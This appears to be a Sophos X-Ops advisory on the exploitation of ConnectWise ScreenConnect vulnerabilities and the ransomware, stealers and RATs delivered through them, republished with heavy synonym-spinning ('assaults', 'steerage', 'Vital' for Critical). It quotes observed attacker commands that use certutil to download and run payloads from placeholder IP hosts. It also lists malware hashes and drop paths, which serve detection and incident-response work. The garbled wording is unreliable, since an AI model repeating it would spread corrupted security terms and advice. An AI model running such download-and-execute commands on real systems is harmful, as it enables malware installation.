[ad_1]
Sophos X-Ops is monitoring a growing wave of vulnerability exploitation focusing on unpatched ConnectWise ScreenConnect installations. This web page supplies recommendation and steerage for purchasers, researchers, investigators and incident responders. This info is predicated on statement and evaluation of assaults by SophosLabs, Sophos Managed Detection and Response (MDR) and Sophos Incident Response (IR), by which the ScreenConnect consumer or server was concerned.
We are going to replace this web page as occasions and understanding develop, together with our risk and detection steerage.
On February 19, 2024, ConnectWise launched a safety advisory for its distant monitoring and administration (RMM) software program. Their advisory highlighted two vulnerabilities that impression older variations of ScreenConnect and have been mitigated in model 23.9.8 and later.
ConnectWise states within the advisory these vulnerabilities are rated as “Vital—Vulnerabilities that might enable the flexibility to execute distant code or immediately impression confidential information or important methods”. The 2 vulnerabilities are:
CVE-2024-1709 (CWE-288) — Authentication Bypass Utilizing Alternate Path or Channel
Base CVSS rating of 10, indicating “Vital”
CVE-2024-1708 (CWE-22) — Improper Limitation of a Pathname to a Restricted Listing (“Path Traversal”)
Base CVSS rating of 8.4, nonetheless thought-about “Excessive Precedence”
The vulnerabilities can have an effect on each the ScreenConnect server and ScreenConnect consumer software program, in several methods. Attackers have discovered that they will deploy malware to servers or to workstations with the consumer software program put in. Sophos has proof that assaults towards each servers and consumer machines are at present underway. Patching the server is not going to take away any malware or webshells attackers handle to deploy previous to patching and any compromised environments should be investigated.
Cloud-hosted implementations of ScreenConnect, together with screenconnect.com and hostedrmm.com, have already obtained updates to deal with these vulnerabilities. Self-hosted (on-premise) situations stay in danger till they’re manually upgraded, and it’s our advice to patch to ScreenConnect model 23.9.8 instantly. The improve is out there on ScreenConnect’s obtain web page.
On February 21, 2024, proof of idea (PoC) code was launched on GitHub that exploits these vulnerabilities and provides a brand new consumer to the compromised system. ConnectWise has additionally up to date their preliminary report to incorporate noticed, lively exploitation within the wild of those vulnerabilities.
On February 22, 2024, Sophos X-Ops reported by means of our social media deal with that regardless of the current legislation enforcement exercise towards the LockBit risk actor group we had noticed a number of assaults over the previous 24 hours that seemed to be carried out with LockBit ransomware, constructed utilizing a leaked malware builder instrument. It seems that our signature-based detection appropriately recognized the payloads as ransomware generated by the leaked LockBit builder, however the ransom notes dropped by these payloads recognized one as “buhtiRansom,” and the opposite didn’t have a reputation in its ransom notice.
This text contains extra particulars and evaluation of the ScreenConnect assaults Sophos noticed prior to now 48 hours.
Verify whether or not you have got an on-premises deployment of ScreenConnect Server
In case you have an on-premises occasion in your setting working a model previous to 23.9.8, take it offline instantly till you improve to the most recent model; isolate or shut it down till it’s patched and investigated for indicators of exploitation
In case you have an on-premises model in your setting that was up to date to model 23.9.8 or later previous to February 21, you aren’t in danger, although it will be prudent to examine the server to make sure no malicious payloads had been put in
Should you use the cloud-hosted model, you aren’t in danger and no additional actions are essential
In case your deployment of ScreenConnect Server is hosted by a third-party vendor, affirm with them they’ve upgraded their occasion to 23.9.8 or later; in the event that they haven’t, advocate that they take it offline till the patches are utilized
Scan your setting and buyer environments for situations of ScreenConnect that you could be not pay attention to, to keep away from the chance of these ScreenConnect being unpatched and exposing the setting to a Provide Chain Assault
In case you have ScreenConnect shoppers and are not sure of/unable to find out the patch standing of all servers which will hook up with it, it is best to presume these servers are weak till you possibly can confirm in any other case
You’ll be able to shield ScreenConnect shoppers from weak servers by implementing Sophos Utility Management Coverage to dam ScreenConnect till the servers could be verified to be patched Extra particulars on Utility Management could be discovered on our website
As soon as patching has been accomplished, carry out a radical evaluation of the ScreenConnect set up searching for unknown accounts and irregular server exercise.
Assessment the customers.xml for indicators of recent accounts or modifications
Assume that any machines internet hosting a ScreenConnect server might have a number of implanted internet shells (or different distant entry instruments not put in by your IT crew) that should be discovered and eliminated
Examine your property for newly added consumer IDs or accounts and take away or freeze entry to them till they’re identified to be professional
In an on-premises set up, examine the placement the place any ScreenConnect Extensions are positioned for webshells or different payloads (recordsdata with .ps1, .bat or .cmd file suffixes)
Deploy endpoint safety to any server at present or previously used to run ScreenConnect
XG Firewall clients will quickly have the ability to allow new IDS signatures designed to detect malicious exercise associated to ScreenConnect exploits
If you know the way to make use of penetration-testing instruments just like the Metasploit Framework, there may be already a Metasploit module you should utilize to check whether or not your units are weak. There are a number of different proofs-of-concept within the wild, as nicely
For the reason that information broke this week concerning the vulnerability in ScreenConnect, Sophos analysts have been carefully monitoring telemetry methods searching for any anomalous or malicious habits by which the ScreenConnect consumer or server software program was both the foundation trigger or was a part of the assault chain indirectly. The groups then sifted by means of this noisy log information to isolate and doc particular malicious exercise.
Earlier than this vulnerability had develop into broadly identified, there had been a reasonable variety of every day telemetry entries by which risk actors tried to deploy malware or run a malicious command on a buyer machine working ScreenConnect. Nevertheless, since February 21, the every day quantity of telemetry occasions involving ScreenConnect has greater than doubled.
Determine 1: A 90-day abstract of hits with a ScreenConnect dad or mum course of on machines; notice the spike in the previous couple of days
Many firms and managed service suppliers use ScreenConnect, and never all habits we noticed got here as a direct results of the vulnerability being exploited, however Sophos believes a big quantity of the present wave of telemetry occasions had been captured as a direct results of the elevated risk actor consideration to ScreenConnect.
Risk actors have been leveraging the exploits towards ScreenConnect to launch all kinds of assaults and ship a spread of various kinds of malware to focus on machines. What follows is a quick abstract of a number of the incidents we’re at present monitoring.
LockBit ransomware, constructed with a leaked malware compiler
At the very least one risk actor is abusing ScreenConnect to deploy a ransomware executable. Sophos suspects it’s the similar particular person or group; an an identical payload (SHA-256 2da975fee507060baa1042fb45e8467579abf3f348f1fd37b86bb742db63438a) was found in additional than 30 totally different buyer networks, starting on February 22. This distribution sample is strongly indicative of the risk actor pushing the payload from a compromised server.
The executable in query was constructed utilizing the LockBit 3 ransomware builder instrument leaked in 2022, so this specific pattern might not have originated with the precise LockBit builders. Our detection for this technology of LockBit (Troj/Ransom-GYT) was constructed particularly to detect samples generated by the leaked builder instrument earlier than they run. We’ve additionally seen a reminiscence detection rule (Mem/LockBit-B) stopping the execution of each the unique and the copycat builds of LockBit in some circumstances.
Nevertheless, the ransomware didn’t name itself LockBit.
Determine 2: The ransom notice dropped by this malware self-identifies as “buhtiRansom”
Determine 3: This root-cause evaluation (RCA) graph highlights malicious exercise through the assaults involving the “buhtiRansom” LockBit variant
The attackers deploying this ransomware executable have persistently used the filename of “enc.exe” or “upd.exe” within the following areas
<d>WindowsTempScreenConnect23.9.6.8787upd.exe
<d>WindowsTempScreenConnect23.9.6.8787enc.exe
<d>customers[username]tempenc.exe
The “buhtiRansom” LockBit variant was not the one ransomware we noticed within the wild.
We additionally noticed a unique attacker try to drop one other payload (a50d9954c0a50e5804065a8165b18571048160200249766bfa2f75d03c8cb6d0) utilizing the certutil utility to obtain it from an internet handle, write it to the foundation of the C: drive with the filename svchost.exe, and execute it. On this case, the behavioral rule Lateral_1b blocked the file from being downloaded and the assault failed.
<d>Program Information (x86)ScreenConnect Shopper (60ccb130004e2bbf)ScreenConnect.ClientService.exe -> certutil.exe -urlcache -f http://<ip-address>/svchost.exe c:svchost.exe
Whereas it didn’t deploy on the client setting, once we ran it on a sandbox, it dropped a ransom notice that appears like this:
Determine 4: The ransom notice we noticed in a sandboxed setting
The malware additionally modified the desktop background to this:
Determine 5: The desktop background we noticed
So not less than this pattern self-identifies as a variant primarily based on the Lockbit builder code.
AsyncRAT assaults
The Labs crew who handle our CryptoGuard and HitmanPro instruments seen a burst of detections downstream of ScreenConnect. Digging in, we will see these assaults, by which a malicious course of is triggering our HollowProcess detection towards PowerShell, intend to ship AsyncRAT as a payload.
Password stealers
Telemetry signifies attackers are additionally pushing the Vidar/Redline information stealer malware (SHA-256 c94038781c56ab85d2f110db4f45b86ccf269e77a3ff4b9133b96745ff97d25f) by way of ScreenConnect. The HMPA CookieGuard and TTP classifications (T1555.003) set off on any such assault. The assault appears just like the ScreenConnect.WindowsClient.exe launches the malware from this location:
<d>Customers<username>DocumentsConnectWiseControlTempUpdaterScreenConnect.exe
SimpleHelp distant entry consumer, adopted by ransomware
One risk actor abused ScreenConnect to push one other distant entry consumer to the goal machine. On this instance, the attacker used ScreenConnect.WindowsClient.exe to launch the SimpleHelp installer (named first.exe) from this location:
<d>WindowsTempScreenConnect20.13.1905.7657Filesfirst.exe
5 hours later, on the identical machine, we noticed ransom notes seem on the system and recordsdata renamed with a unique file extension. The ransomware had been put in utilizing the msiexec.exe utility. The method tree for this occasion regarded like this:
providers.exe ->
msiexec.exe ->
<d>WindowsTEMPMW-5f3810bb-bac1-4cc4-a1a3-7e04046d7ea4filescrypt64ult.exe
Determine 6: A root-cause evaluation (RCA) diagram reveals providers.exe launching msiexec.exe, which in flip launches the ransomware crypt64ult.exe, which adjustments a file’s file extension to .CRYPT
A couple of minutes later, the attackers use ScreenConnect to run a command that downloads one other malware payload to this machine, utilizing the Home windows certutil utility, then runs it.
ScreenConnect.ClientService.exe ->
cmd.exe /c c:windowstempScreenConnect20.13.19057657<guid>run.cmd ->
certutil -urlcache -f http://<ip>:8084/msappdata.msi c:mpyutd.msi
Rust infostealer
Determine 7: The Rust infostealer assault tree
Attackers use the ScreenConnect consumer utility to run a batch script they’ve downloaded into the folder belonging to a different distant entry instrument, known as InVentry Distant Help. The batch script downloads a payload, written in Rust, from an AWS storage server. The payload, when it runs, injects itself into Explorer.exe then deletes itself from the filesystem.
Analysts haven’t studied the payload, however a number of different distributors classify it as malware known as Redcap, which is used to steal and exfiltrate info from servers.
Cobalt Strike payloads
On February 22, three unrelated firms (two in North America, one in Europe) had been hit with a remarkably comparable assault that delivered a Cobalt Strike beacon to a machine within the community with the ScreenConnect consumer put in. The telemetry indicated that in all three circumstances, the Cobalt Strike payload was caught and prevented from working by a behavioral rule known as AMSI/Cobalt-A.
The ScreenConnect consumer obtained a file with a .cmd extension within the non permanent listing the place it shops downloaded recordsdata, then executed it. The .cmd tried to launch PowerShell to make use of it to obtain the beacon, however was stopped by the endpoint rule. Subsequent evaluation revealed that the payload was retrieved from the identical C2 server in all three circumstances.
Xworm payload tried supply to residence consumer
One machine that was working the ScreenConnect consumer software program was attacked with malware known as Xworm. The exploit prompted the consumer to jot down a file into the %temp% listing after which triggered the consumer to run it. The file contained a one-line PowerShell command that downloaded a 531KB file from a public Pastebin-type server. The file was, itself, a script that contained an enormous information blob and a small quantity of script code to rework the information right into a Home windows executable.
Determine 8: An excerpt from the payload
As soon as decoded, the malware makes use of a wide range of persistence strategies and may unfold to different machines by copying itself to USB storage media. Additionally it is a full-featured RAT and provides an exclusion for itself to Home windows Defender. Nevertheless, the endpoint safety on the client’s machine prevented it from being contaminated. The signatures Troj/RAT-FJ and Troj/PSDrop-IU successfully neutralized the risk earlier than it might trigger hurt.
Protected Mode RAT deploys its personal ScreenConnect for persistence
In an assault towards the ScreenConnect server situations, a risk actor is pushing an executable named patch3.exe to weak servers. The patch3 executable is a RAT with some fascinating behaviors; It apparently provides entries into the registry so that it’s going to begin up even when the pc is booted into Protected Mode. It additionally downloads an .msi installer.
Determine 9: A part of an noticed assault by the Protected Mode RAT
MDR analysts trying extra carefully into this pattern decided that the risk actor was putting in a brand new occasion of the ScreenConnect consumer on the contaminated system, then utilizing their (the attackers’) personal ScreenConnect consumer to speak to (and remotely handle) the goal’s ScreenConnect server. The contaminated system later launched numerous PowerShell instructions. Irony isn’t lifeless.
The simplicity of exploiting these vulnerabilities makes it crucial for organizations to evaluate their publicity and take decisive steps to mitigate dangers. The next factors provide a high-level information to analyze your setting:
Identification of ScreenConnect installations: Step one entails finding all situations of ScreenConnect inside your group’s community. Bear in mind, a few of these installations could be managed by exterior service suppliers, so thoroughness is essential. The server element is finally what wants patched, however realizing the scope of consumer installations will assist assess publicity
Isolation and elimination: Briefly isolate or uninstall the ScreenConnect Shopper software program from recognized units. This measure is important till you possibly can affirm that the server has been up to date with the required safety patches or till a complete evaluation is carried out. Should you don’t handle the ScreenConnect Server to your setting, uninstallation could be the quickest path to mitigate the chance
Conduct detailed evaluation: On units with ScreenConnect consumer software program, carry out an in-depth investigation. Concentrate on:
Creation of recent native customers: Test for any unauthorized new consumer accounts which had been created.
Suspicious consumer software program exercise: Monitor for uncommon instructions executed by the ScreenConnect consumer
System and area reconnaissance actions: Search for instructions that point out scanning or probing of your methods.
Disabling of safety controls: Search for any actions that try to deactivate safety measures, corresponding to anti-virus software program and native firewall insurance policies.
Provoke Incident Response if wanted: In case your evaluation uncovers any suspicious actions, promptly activate your incident response plan. This step is essential to grasp the scope of the potential incident and to implement remediation methods
Sophos X-Ops Incident Response has constructed a sequence of XDR queries for purchasers to make use of for risk searching of their setting. These queries embody the next:
Test model of ScreenConnect Server – Identifies machines working ScreenConnect Server weak to Authentication Bypass (CVE-2024-1709 & CVE-2024-1708)
Test model of ScreenConnect Server.sql (datalake) – Identifies machines working ScreenConnect Server weak to Authentication Bypass (CVE-2024-1709 & CVE-2024-1708)
ScreenConnect Relay IP – Establish the IP addresses that the ScreenConnect software working on machines is connecting to. these IP addresses could be utilized in exterior instruments like Shodan.io and Censys.io to evaluate if the ScreenConnect server corresponding to those endpoints is weak to CVE-2024-1709 and CVE-2024-1708
SetupWizard.aspx in IIS logs – Search for the trailing slash after SetupWizard.aspx within the IIS logs, which could be an indicator of potential exploitation of Screenconnect auth bypass
Test consumer.xml file for brand spanking new customers created – Test the Consumer.xml file discovered within the ScreenConnectApp_Data folder for potential indicators of exploitation within the ScreenConnect Server. The content material of the file shall be up to date when an attacker executes the exploit and creates a brand new consumer
Proof of non permanent Consumer File creation – Test for non permanent consumer creation XML recordsdata on disk inside a time vary. This file could be an indicator for potential exploitation of CVE-2024-1709.
Test for .ASPX .ASHX recordsdata in App_Extensions folder – Detect potential exploitation of CVE-2024-1708 on a machine internet hosting a ScreenConnect server by searching for .ASPX and .ASHX recordsdata written within the ScreenConnectApp_Extensions folder
Establish shells being spawned from ScreenConnect – Establish shells being spawned from ScreenConnect course of.
The next detection guidelines had been beforehand carried out to determine abuse of ScreenConnect and are nonetheless viable for figuring out post-exploitation exercise.
WIN-EXE-PRC-SCREENCONNECT-COMMAND-EXECUTION-1
WIN-EXE-PRC-SCREENCONNECT-REMOTE-FILE-EXECUTION-1
WIN-EXE-PRC-SCREENCONNECT-RUNFILE-EXECUTION-1
We now have a number of protections inside InterceptX to dam post-exploitation exercise. We’ve additionally launched the next detection for publicly obtainable exploit scripts seen focusing on CVE-2024-1709 (CWE-288) — Authentication Bypass Utilizing Alternate Path or Channel:
Protections for SFOS and EPIPS:
SID
Identify
2309339
Connectwise Screenconnect Authentication Bypass Vulnerability
2309343
Connectwise Screenconnect Authentication Bypass Vulnerability
2309344
Connectwise Screenconnect Authentication Bypass Vulnerability
Anthony Bradshaw, Paul Jaramillo, Jordon Olness, Benjamin Sollman and Dakota Mercer-Szady from MDR
Anand Ajjan, Fraser Howard, Rajesh Nataraj, Gabor Szappanos, and Ronny Tijink from SophosLabs
Peter Mackenzie, Elida Leite and Lee Kirkpatrick from Incident Response
[ad_2]